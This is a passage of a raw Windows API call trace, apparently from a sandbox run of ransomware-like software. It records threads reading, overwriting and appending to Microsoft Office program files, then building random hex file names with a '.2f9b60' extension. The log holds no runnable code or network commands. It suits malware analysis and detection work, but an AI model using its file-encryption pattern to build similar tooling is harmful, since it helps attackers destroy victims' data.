out: Seed=0x2698f690) returned 0x4fa54a0e [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x6af7f0c2 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x2ce875f7 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x5821179e [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x2daffee1 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x6fb5b9e1 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x4b16f7b5 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x6f286e9b [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x55894 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x7905bd8f [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x59fc26d3 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x57a7b45f [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0xe9fb9f0 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x748a9710 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0xb588e51 [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0xf129fde [0090.074] RtlRandomEx (in: Seed=0x2698f690 | out: Seed=0x2698f690) returned 0x3e9f9546 [0090.085] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.085] ReadFile (in: hFile=0xa94, lpBuffer=0x1cee1e20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2698f700, lpOverlapped=0x0 | out: lpBuffer=0x1cee1e20*, lpNumberOfBytesRead=0x2698f700*=0x3c00, lpOverlapped=0x0) returned 1 [0090.088] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0090.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0090.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aab0 [0090.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aab0) returned 1 [0090.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee5a30 [0090.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aab0 [0090.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0090.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0090.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0090.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.089] WriteFile (in: hFile=0xa94, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2698f700, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x2698f700*=0x3c00, lpOverlapped=0x0) returned 1 [0098.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0098.399] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.399] ReadFile (in: hFile=0xa94, lpBuffer=0x1cee1e20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2698f700, lpOverlapped=0x0 | out: lpBuffer=0x1cee1e20*, lpNumberOfBytesRead=0x2698f700*=0x3c00, lpOverlapped=0x0) returned 1 [0100.396] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a80 [0100.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0100.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed00b0 [0100.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d40 [0100.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0100.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261340) returned 1 [0100.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0100.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0100.855] WriteFile (in: hFile=0xa94, lpBuffer=0x41ed00b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2698f700, lpOverlapped=0x0 | out: lpBuffer=0x41ed00b0*, lpNumberOfBytesWritten=0x2698f700*=0x3c00, lpOverlapped=0x0) returned 1 [0130.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed00b0) returned 1 [0130.037] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x43086, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.037] ReadFile (in: hFile=0xa94, lpBuffer=0x1cee1e20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2698f700, lpOverlapped=0x0 | out: lpBuffer=0x1cee1e20*, lpNumberOfBytesRead=0x2698f700*=0x3c00, lpOverlapped=0x0) returned 1 [0130.038] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x43086, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a30 [0130.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a30) returned 1 [0130.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed00b0 [0130.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a30 [0130.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0130.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a60) returned 1 [0130.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.040] WriteFile (hFile=0xa94, lpBuffer=0x41ed00b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2698f700, lpOverlapped=0x0) [0171.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed00b0) returned 1 [0171.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15220 [0171.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a30) returned 1 [0171.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d40) returned 1 [0171.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aab0) returned 1 [0171.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee1e20) returned 1 [0171.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85aab0 [0171.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0171.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ac0 [0171.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ac0) returned 1 [0171.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b859ac0 [0171.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0171.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0171.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0171.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0171.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebcac0 [0171.015] SetFilePointerEx (in: hFile=0xa94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.015] WriteFile (in: hFile=0xa94, lpBuffer=0x1cebcac0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2698f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1cebcac0*, lpNumberOfBytesWritten=0x2698f7b0*=0x146, lpOverlapped=0x0) returned 1 [0180.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0180.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0180.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2cab0 [0180.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2cab0) returned 1 [0180.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0180.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2cab0 [0180.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2cae0 [0180.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2cae0) returned 1 [0180.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0180.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0180.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9edb0 [0180.978] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="78") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="fc") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="52") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="c0") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="c0") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="1b") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="5d") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="45") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="f7") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="bf") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="38") returned 2 [0180.978] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="22") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="9a") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="1b") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="47") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="8b") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="69") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="3c") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="e6") returned 2 [0180.979] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="f4") returned 2 [0180.979] RtlInitAnsiString (in: DestinationString=0x2698f828, SourceString="78fc52c0c01b5d45f7bf38229a1b478b693ce6f4" | out: DestinationString="78fc52c0c01b5d45f7bf38229a1b478b693ce6f4") [0180.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x2698f7f8, SourceString="78fc52c0c01b5d45f7bf38229a1b478b693ce6f4", AllocateDestinationString=1 | out: DestinationString="78fc52c0c01b5d45f7bf38229a1b478b693ce6f4") returned 0x0 [0180.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced57a0 [0180.980] RtlFreeAnsiString (AnsiString="7") [0180.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0180.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0180.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2cab0) returned 1 [0180.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebcac0) returned 1 [0180.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ac0) returned 1 [0180.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859970) returned 1 [0180.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aab0) returned 1 [0180.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15220) returned 1 [0180.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a9c0) returned 1 [0180.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0180.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0180.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced3100 [0180.985] wcscat (in: _Dest=0x1ced3100, _Source="78fc52c0c0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\78fc52c0c0") returned="C:\\Program Files\\Microsoft Office\\Office14\\78fc52c0c0" [0180.985] wcscat (in: _Dest=0x1ced3100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\78fc52c0c0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\78fc52c0c0.2f9b60" [0180.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\78fc52c0c0.2f9b60", NtPathName=0x2698f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\78fc52c0c0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x42c31cb0 Thread: id = 387 os_tid = 0xf3c [0090.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat")) returned 0x20 [0090.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT", dwFileAttributes=0x20) returned 1 [0090.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa9c [0090.090] GetFileSizeEx (in: hFile=0xa9c, lpFileSize=0x26abfd80 | out: lpFileSize=0x26abfd80*=34168) returned 1 [0090.090] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.091] ReadFile (in: hFile=0xa9c, lpBuffer=0x26abfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26abfd48, lpOverlapped=0x0 | out: lpBuffer=0x26abfd00*, lpNumberOfBytesRead=0x26abfd48*=0x4, lpOverlapped=0x0) returned 1 [0090.092] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0090.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0090.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.093] NtQuerySystemTime (in: CurrentTime=0x26abfc40 | out: CurrentTime=0x26abfc40*=132462176959630000) returned 0x0 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x1a20f8b0 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x2a268ca2 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x10c8f13e [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x27a44b5a [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x1392591a [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x7f9fc55b [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0xa5ac552 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x457b2704 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x18c780cf [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x416b1be1 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x7fbfe997 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x4e6057e0 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x69590bf [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x151bcf55 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x6b4da242 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x35a40165 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x59f315e0 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x5ef1a491 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x2bef6248 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x37adcddd [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x172717e8 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x2538ede2 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x51aafb63 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x30ab786b [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x5b6d938 [0090.093] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x666d159 [0090.094] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x3bd40eab [0090.094] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x6e841c10 [0090.094] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x29988f87 [0090.094] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x31ef3c42 [0090.094] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x6c38544e [0090.094] RtlRandomEx (in: Seed=0x26abfc30 | out: Seed=0x26abfc30) returned 0x471c25bb [0090.106] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.106] ReadFile (in: hFile=0xa9c, lpBuffer=0x1cee9640, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26abfca0, lpOverlapped=0x0 | out: lpBuffer=0x1cee9640*, lpNumberOfBytesRead=0x26abfca0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.119] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0090.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0090.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0090.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0090.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceed250 [0090.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0090.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0090.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0090.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.120] WriteFile (in: hFile=0xa9c, lpBuffer=0x1ceed250*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26abfca0, lpOverlapped=0x0 | out: lpBuffer=0x1ceed250*, lpNumberOfBytesWritten=0x26abfca0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceed250) returned 1 [0090.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee9640) returned 1 [0090.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b8596d0 [0090.376] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0090.376] WriteFile (in: hFile=0xa9c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x26abfd50, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x26abfd50*=0x106, lpOverlapped=0x0) returned 1 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0090.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70e0) returned 1 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0090.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0090.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0090.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0090.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d86c0 [0090.991] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="9f") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="0d") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="2b") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="21") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="09") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="28") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="35") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="6a") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="dc") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="08") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="27") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="73") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="ed") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="22") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="fe") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="6d") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="4e") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="2c") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="4b") returned 2 [0090.991] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="77") returned 2 [0090.991] RtlInitAnsiString (in: DestinationString=0x26abfdc8, SourceString="9f0d2b210928356adc082773ed22fe6d4e2c4b77" | out: DestinationString="9f0d2b210928356adc082773ed22fe6d4e2c4b77") [0090.991] RtlAnsiStringToUnicodeString (in: DestinationString=0x26abfd98, SourceString="9f0d2b210928356adc082773ed22fe6d4e2c4b77", AllocateDestinationString=1 | out: DestinationString="9f0d2b210928356adc082773ed22fe6d4e2c4b77") returned 0x0 [0090.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d3d0 [0090.991] wcscat (in: _Dest=0x1cf4d380, _Source="9f0d2b2109" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\9f0d2b2109") returned="C:\\Program Files\\Microsoft Office\\Office14\\9f0d2b2109" [0090.992] wcscat (in: _Dest=0x1cf4d380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\9f0d2b2109.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\9f0d2b2109.2f9b60" 